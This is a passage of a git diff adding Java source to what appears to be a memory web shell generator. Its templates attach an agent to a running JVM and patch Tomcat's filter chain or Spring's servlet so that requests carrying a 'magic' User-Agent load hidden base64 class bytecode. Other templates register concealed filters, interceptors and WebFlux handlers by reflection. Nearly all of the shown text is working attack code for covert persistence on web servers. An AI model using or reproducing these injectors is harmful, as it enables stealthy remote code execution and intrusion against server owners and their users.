NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java b/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java new file mode 100644 index 0000000..7236083 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/SpringMVCAgentTransformer.java @@ -0,0 +1,200 @@ +package jmg.core.template; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.lang.instrument.Instrumentation; +import java.lang.instrument.UnmodifiableClassException; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.security.ProtectionDomain; +import java.util.List; + +public class SpringMVCAgentTransformer implements ClassFileTransformer { + + public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet"; + public static final String targetMethodName = "service"; + public String injectHeaderName = "User-Agent"; + + public String injectHeaderValue = "magic"; + + public String getInjectorCode() { + return ""; + } + + public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException { + instrumentation.addTransformer(new SpringMVCAgentTransformer(), true); + for (Class clz : instrumentation.getAllLoadedClasses()) { + if (!clz.getName().equals(targetClassName)) continue; + instrumentation.retransformClasses(clz); + } + } + + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + className = className.replace("/", "."); + if (className.equals(targetClassName) && classBeingRedefined != null) { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(classBeingRedefined)); + CtClass ctClass = pool.getCtClass(className); + CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName); + String injectorCode = getInjectorCode(); + String code = String.format("try {\n" + + " if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" + + " String injectorCode = \"%s\";\n" + + " byte[] byteArray;\n" + + " try {\n" + + " Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" + + " byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" + + " } catch (Throwable e) {\n" + + " Class base64Clazz = Class.forName(\"java.util.Base64\");\n" + + " Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" + + " byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" + + " }\n" + + " java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" + + " java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" + + " method.setAccessible(true);\n" + + " Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" + + " clazz.newInstance();\n" + + " }\n" + + " } catch (Exception e) {\n" + + " e.printStackTrace();\n" + + " }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode); + ctMethod.insertBefore(code); + byte[] bytes = ctClass.toBytecode(); + ctClass.detach(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[0]; + } + } + return new byte[0]; + } + + private static Class virtualMachineClass; + private static Class virtualMachineDescriptorClass; + private static List vms; + + static { + try { + // 获取 tools.jar 的路径 + StringBuilder toolsJarPath = new StringBuilder(); + toolsJarPath.append(System.getProperty("java.home")) + .append(File.separator) + .append("..") + .append(File.separator) + .append("lib") + .append(File.separator) + .append("tools.jar"); + File toolsJarFile = new File(toolsJarPath.toString()); + + // 如果 JDK 目录下没有找到 tools.jar(纯JRE) + if (!toolsJarFile.exists() || !toolsJarFile.isFile()) { + // 释放内置的 tools.jar + InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar"); + toolsJarFile = File.createTempFile("tools", ".jar"); + + FileOutputStream out = null; + try { + out = new FileOutputStream(toolsJarFile); + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = jarStream.read(buffer)) != -1) { + out.write(buffer, 0, bytesRead); + } + } finally { + if (out != null) { + out.close(); + } + } + } + + // Load the VirtualMachine and VirtualMachineDescriptor classes + URL url = toolsJarFile.toURI().toURL(); + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); + virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine"); + virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); + vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + public static void main(String[] args) throws Exception { + String jvmProcessId = null; + if (args.length == 0) { + // 列出所有 pid + listAllJvmPids(); + } else { + try { + Integer.parseInt(args[0]); + jvmProcessId = args[0]; + attachAgentToTargetJvm(jvmProcessId); + } catch (NumberFormatException e) { + throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID"); + } + } + } + + + public static void listAllJvmPids() throws Exception { + for (Object vm : vms) { + Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName"); + String displayName = (String) displayNameMethod.invoke(vm); + Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id"); + String id = (String) getId.invoke(vm); + infoLog(String.format("Found pid %s ——> [%s]", id, displayName)); + } + } + + private static void attachAgentToTargetJvm(String targetPID) throws Exception { + String agentFilePath = new File(SpringMVCAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath(); + infoLog("Current agent path: " + agentFilePath); + File agentFile = new File(agentFilePath); + String currentPid = getCurrentPID(); + if (targetPID.equals(currentPid)) { + infoLog("Skipping attaching to self"); + } else { + try { + infoLog("Attaching to target JVM with PID: " + targetPID); + Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID); + Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class); + loadAgent.invoke(jvm, agentFile.getAbsolutePath()); + Method detach = virtualMachineClass.getDeclaredMethod("detach"); + detach.invoke(jvm); + successLog("Attached to target JVM and loaded agent successfully"); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + private static String getCurrentPID() { + return ManagementFactory.getRuntimeMXBean().getName().split("@")[0]; + } + + public static void infoLog(String message) { + System.out.println("[*] " + message); + } + + public static void failLog(String message) { + System.out.println("[-] " + message); + } + + public static void successLog(String message) { + System.out.println("[+] " + message); + } + +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java new file mode 100644 index 0000000..0b222ea --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/SpringMVCInterceptorInjectorTpl.java @@ -0,0 +1,183 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.LinkedHashSet; +import java.util.zip.GZIPInputStream; + +public class SpringMVCInterceptorInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + + public SpringMVCInterceptorInjectorTpl() throws Exception { + Object context = getContext(); + Object interceptor = getInterceptor(); + addInterceptor(context, interceptor); + + } + + public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object context = null; + try { + Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes"); + Object httprequest = invokeMethod(requestAttributes, "getRequest"); + Object session = invokeMethod(httprequest, "getSession"); + Object servletContext = invokeMethod(session, "getServletContext"); + context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{classLoader.loadClass("javax.servlet.ServletContext")}, new Object[]{servletContext}); + } catch (Exception e) { + } + + if (context == null) { + try { + LinkedHashSet applicationContexts = (LinkedHashSet) getFV(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts"); + Object applicationContext = applicationContexts.iterator().next(); + if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) { + context = applicationContext; + } + } catch (Exception ignored) { + } + } + return context; + } + + private Object getInterceptor() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object interceptor = null; + try { + interceptor = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + interceptor = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return interceptor; + } + + public void addInterceptor(Object context, Object interceptor) { + try { + Object abstractHandlerMapping = invokeMethod(context, "getBean", new Class[]{String.class}, new Object[]{"requestMappingHandlerMapping"}); + ArrayList adaptedInterceptors = (ArrayList) getFV(abstractHandlerMapping, "adaptedInterceptors"); + adaptedInterceptors.add(interceptor); + } catch (Exception ignored) { + } + } + + + static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + synchronized void setFV(Object var0, String var1, Object val) throws Exception { + getF(var0, var1).set(var0, val); + } + + static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java new file mode 100644 index 0000000..a4738e0 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/SpringWebFluxHandlerMethodInjectorTpl.java @@ -0,0 +1,185 @@ +package jmg.core.template; + +import org.springframework.web.reactive.result.method.RequestMappingInfo; +import org.springframework.web.server.ServerWebExchange; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.Collection; +import java.util.zip.GZIPInputStream; + +/** + * spring webflux + netty(default) -> spring RequestMappingHandlerMapping -> registerHandlerMethod + */ +public class SpringWebFluxHandlerMethodInjectorTpl { + + + public String getUrlPattern() { + return ""; + } + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + public SpringWebFluxHandlerMethodInjectorTpl() { + try { + Object requestMappingHandlerMapping = getRequestMappingHandlerMapping(); + Object handlerMethod = getHandlerMethod(); + addHandlerMethod(requestMappingHandlerMapping, handlerMethod); + } catch (Exception ignored) { + } + } + + private Object getRequestMappingHandlerMapping() throws Exception { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object requestMappingHandlerMapping = null; + for (int i = 0; i < threads.length; i++) { + try { + Collection handlerMappings = (Collection) getFV(getFV(getFV(getFV(getFV(getFV(getFV(getFV(threads[i], "this$0"), "handler"), "httpHandler"), "delegate"), "delegate"), "delegate"), "delegate"), "handlerMappings"); + Object[] objects = handlerMappings.toArray(); + boolean flag = false; + for (int j = 0; j < objects.length; j++) { + if (objects[j].getClass().getName().contains("RequestMappingHandlerMapping")) { + requestMappingHandlerMapping = objects[j]; + flag = true; + } + } + if (flag) { + return requestMappingHandlerMapping; + } + } catch (Exception ignored) { + } + } + return requestMappingHandlerMapping; + } + + public void addHandlerMethod(Object obj, Object handler) { + try { + Method method = handler.getClass().getDeclaredMethod("invoke", ServerWebExchange.class); + RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build(); + invokeMethod(obj, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handler, method, requestMappingInfo}); + } catch (Exception ignored) { + } + } + + private Object getHandlerMethod() { + Object handler = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + try { + handler = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + handler = clazz.newInstance(); + } catch (Exception ignored) { + } + + } + return handler; + } + + + private static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + ByteArrayInputStream in = new ByteArrayInputStream(compressedData); + GZIPInputStream ungzip = new GZIPInputStream(in); + byte[] buffer = new byte[256]; + int n; + while ((n = ungzip.read(buffer)) >= 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + + private static Object getFV(Object obj, String fieldName) throws Exception { + Field field = getF(obj, fieldName); + field.setAccessible(true); + return field.get(obj); + } + + private static Field getF(Object obj, String fieldName) throws NoSuchFieldException { + Class clazz = obj.getClass(); + while (clazz != null) { + try { + Field field = clazz.getDeclaredField(fieldName); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException e) { + clazz = clazz.getSuperclass(); + } + } + throw new NoSuchFieldException(fieldName); + } + + + private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { + return invokeMethod(targetObject, methodName, new Class[0], new Object[0]); + } + + private static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + + Class tempClass = clazz; + while (method == null && tempClass != null) { + try { + if (paramClazz == null) { + // Get all declared methods of the class + Method[] methods = tempClass.getDeclaredMethods(); + for (int i = 0; i < methods.length; i++) { + if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) { + method = methods[i]; + break; + } + } + } else { + method = tempClass.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + tempClass = tempClass.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException(methodName); + } + method.setAccessible(true); + if (obj instanceof Class) { + try { + return method.invoke(null, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } else { + try { + return method.invoke(obj, param); + } catch (IllegalAccessException e) { + throw new RuntimeException(e.getMessage()); + } + } + + } +} diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java b/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java new file mode 100644 index 0000000..3ef6098 --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/TomcatAgentTransformer.java @@ -0,0 +1,204 @@ +package jmg.core.template; + +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; + +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.IllegalClassFormatException; +import java.lang.instrument.Instrumentation; +import java.lang.instrument.UnmodifiableClassException; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Method; +import java.net.URL; +import java.net.URLClassLoader; +import java.security.ProtectionDomain; +import java.util.List; + +public class TomcatAgentTransformer implements ClassFileTransformer { + + public static final String targetClassName = "org.apache.catalina.core.ApplicationFilterChain"; + public static final String targetMethodName = "doFilter"; + public String injectHeaderName = "User-Agent"; + + public String injectHeaderValue = "magic"; + + public String getInjectorCode() { + return ""; + } + + public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException { + instrumentation.addTransformer(new TomcatAgentTransformer(), true); + for (Class clz : instrumentation.getAllLoadedClasses()) { + if (!clz.getName().equals(targetClassName)) continue; + instrumentation.retransformClasses(clz); + } + } + + @Override + public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { + className = className.replace("/", "."); + if (className.equals(targetClassName) && classBeingRedefined != null) { + try { + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(classBeingRedefined)); + CtClass ctClass = pool.getCtClass(className); + CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName); + String injectorCode = getInjectorCode(); + String code = String.format("if ($1 instanceof javax.servlet.http.HttpServletRequest && $2 instanceof javax.servlet.http.HttpServletResponse) {\n" + + " javax.servlet.http.HttpServletRequest httpRequest = (javax.servlet.http.HttpServletRequest) $1;\n" + + " javax.servlet.http.HttpServletResponse httpResponse = (javax.servlet.http.HttpServletResponse) $2;\n" + + " try {\n" + + " if (httpRequest.getHeader(\"%s\") != null && httpRequest.getHeader(\"%s\").contains(\"%s\")) {\n" + + " String injectorCode = \"%s\";\n" + + " byte[] byteArray;\n" + + " try {\n" + + " Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" + + " byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" + + " } catch (Throwable e) {\n" + + " Class base64Clazz = Class.forName(\"java.util.Base64\");\n" + + " Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" + + " byteArray = (byte[]) base64Clazz.getMethod(\"decode\", new Class[]{byte[].class}).invoke(decoder, new Object[]{injectorCode});\n" + + " }\n" + + " java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" + + " java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" + + " method.setAccessible(true);\n" + + " Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" + + " clazz.newInstance();\n" + + " }\n" + + " } catch (Exception e) {\n" + + " e.printStackTrace();\n" + + " }\n" + + "}", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode); + ctMethod.insertBefore(code); + byte[] bytes = ctClass.toBytecode(); + ctClass.detach(); + return bytes; + } catch (Exception e) { + e.printStackTrace(); + return new byte[0]; + } + } + return new byte[0]; + } + + private static Class virtualMachineClass; + private static Class virtualMachineDescriptorClass; + private static List vms; + + static { + try { + // 获取 tools.jar 的路径 + StringBuilder toolsJarPath = new StringBuilder(); + toolsJarPath.append(System.getProperty("java.home")) + .append(File.separator) + .append("..") + .append(File.separator) + .append("lib") + .append(File.separator) + .append("tools.jar"); + File toolsJarFile = new File(toolsJarPath.toString()); + + // 如果 JDK 目录下没有找到 tools.jar(纯JRE) + if (!toolsJarFile.exists() || !toolsJarFile.isFile()) { + // 释放内置的 tools.jar + InputStream jarStream = TomcatAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar"); + toolsJarFile = File.createTempFile("tools", ".jar"); + + FileOutputStream out = null; + try { + out = new FileOutputStream(toolsJarFile); + byte[] buffer = new byte[1024]; + int bytesRead; + while ((bytesRead = jarStream.read(buffer)) != -1) { + out.write(buffer, 0, bytesRead); + } + } finally { + if (out != null) { + out.close(); + } + } + } + + // Load the VirtualMachine and VirtualMachineDescriptor classes + URL url = toolsJarFile.toURI().toURL(); + URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); + virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine"); + virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor"); + vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass); + } catch (Exception e) { + e.printStackTrace(); + } + + } + + public static void main(String[] args) throws Exception { + String jvmProcessId = null; + if (args.length == 0) { + // 列出所有 pid + listAllJvmPids(); + } else { + try { + Integer.parseInt(args[0]); + jvmProcessId = args[0]; + attachAgentToTargetJvm(jvmProcessId); + } catch (NumberFormatException e) { + throw new IllegalArgumentException("Argument must be an integer representing a JVM process ID"); + } + } + } + + + public static void listAllJvmPids() throws Exception { + for (Object vm : vms) { + Method displayNameMethod = virtualMachineDescriptorClass.getMethod("displayName"); + String displayName = (String) displayNameMethod.invoke(vm); + Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id"); + String id = (String) getId.invoke(vm); + infoLog(String.format("Found pid %s ——> [%s]", id, displayName)); + } + } + + private static void attachAgentToTargetJvm(String targetPID) throws Exception { + String agentFilePath = new File(TomcatAgentTransformer.class.getProtectionDomain().getCodeSource().getLocation().getPath()).getCanonicalPath(); + infoLog("Current agent path: " + agentFilePath); + File agentFile = new File(agentFilePath); + String currentPid = getCurrentPID(); + if (targetPID.equals(currentPid)) { + infoLog("Skipping attaching to self"); + } else { + try { + infoLog("Attaching to target JVM with PID: " + targetPID); + Object jvm = virtualMachineClass.getMethod("attach", new Class[]{String.class}).invoke(null, targetPID); + Method loadAgent = virtualMachineClass.getDeclaredMethod("loadAgent", String.class); + loadAgent.invoke(jvm, agentFile.getAbsolutePath()); + Method detach = virtualMachineClass.getDeclaredMethod("detach"); + detach.invoke(jvm); + successLog("Attached to target JVM and loaded agent successfully"); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + private static String getCurrentPID() { + return ManagementFactory.getRuntimeMXBean().getName().split("@")[0]; + } + + public static void infoLog(String message) { + System.out.println("[*] " + message); + } + + public static void failLog(String message) { + System.out.println("[-] " + message); + } + + public static void successLog(String message) { + System.out.println("[+] " + message); + } + +} \ No newline at end of file diff --git a/jmg-core/src/main/java/jmg/core/template/TomcatFilterInjectorTpl.java b/jmg-core/src/main/java/jmg/core/template/TomcatFilterInjectorTpl.java new file mode 100644 index 0000000..09b901e --- /dev/null +++ b/jmg-core/src/main/java/jmg/core/template/TomcatFilterInjectorTpl.java @@ -0,0 +1,294 @@ +package jmg.core.template; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * Date: 2022/11/01 + * Author: pen4uin + * Description: Tomcat Filter 注入器 + * Tested version: + * jdk v1.8.0_275 + * tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67 + */ + +public class TomcatFilterInjectorTpl { + + public String getUrlPattern() { + return "/*"; + } + + + public String getClassName() { + return ""; + } + + public String getBase64String() throws IOException { + return ""; + } + + static { + new TomcatFilterInjectorTpl(); + } + + public TomcatFilterInjectorTpl() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object filter = getFilter(context); + addFilter(context, filter); + } + } catch (Exception ignored) { + + } + + + } + + public List getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException { + List contexts = new ArrayList(); + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads"); + Object context = null; + try { + for (Thread thread : threads) { + // 适配 v5/v6/7/8 + if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) { + HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children"); + // 原: map.get("localhost") + // 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败 + for (Object key : childrenMap.keySet()) { + HashMap children = (HashMap) getFV(childrenMap.get(key), "children"); + // 原: context = children.get(""); + // 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败 + for (Object key1 : children.keySet()) { + context = children.get(key1); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + // 兼容 spring boot 2.x embedded tomcat + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } + // 适配 tomcat v9 + else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context"); + if (context != null && context.getClass().getName().contains("StandardContext")) + contexts.add(context); + if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) + contexts.add(context); + } + } + } catch (Exception e) { + throw new RuntimeException(e); + } + return contexts; + } + + + private Object getFilter(Object context) { + + Object filter = null; + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + if (classLoader == null) { + classLoader = context.getClass().getClassLoader(); + } + try { + filter = classLoader.loadClass(getClassName()); + } catch (Exception e) { + try { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + filter = clazz.newInstance(); + } catch (Throwable tt) { + } + } + return filter; + } + + public String getFilterName(String className) { + if (className.contains(".")) { + int lastDotIndex = className.lastIndexOf("."); + return className.substring(lastDotIndex + 1); + } else { + return className; + } + } + + + public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException { + ClassLoader catalinaLoader = getCatalinaLoader(); + String filterClassName = getClassName(); + String filterName = getFilterName(filterClassName); + Object filterDef; + Object filterMap; + + // 防止重复注入 + try { + if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterName}) != null) { + return; + } + } catch (Exception ignored) { + } + + try { + // tomcat v8/9 + filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); + } catch (Exception e2) { + // tomcat v6/7 + try { + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); + } catch (Exception e) { + // tomcat v5 + filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance(); + filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance(); + } + } + try { + invokeMethod(filterDef, "setFilterName", new 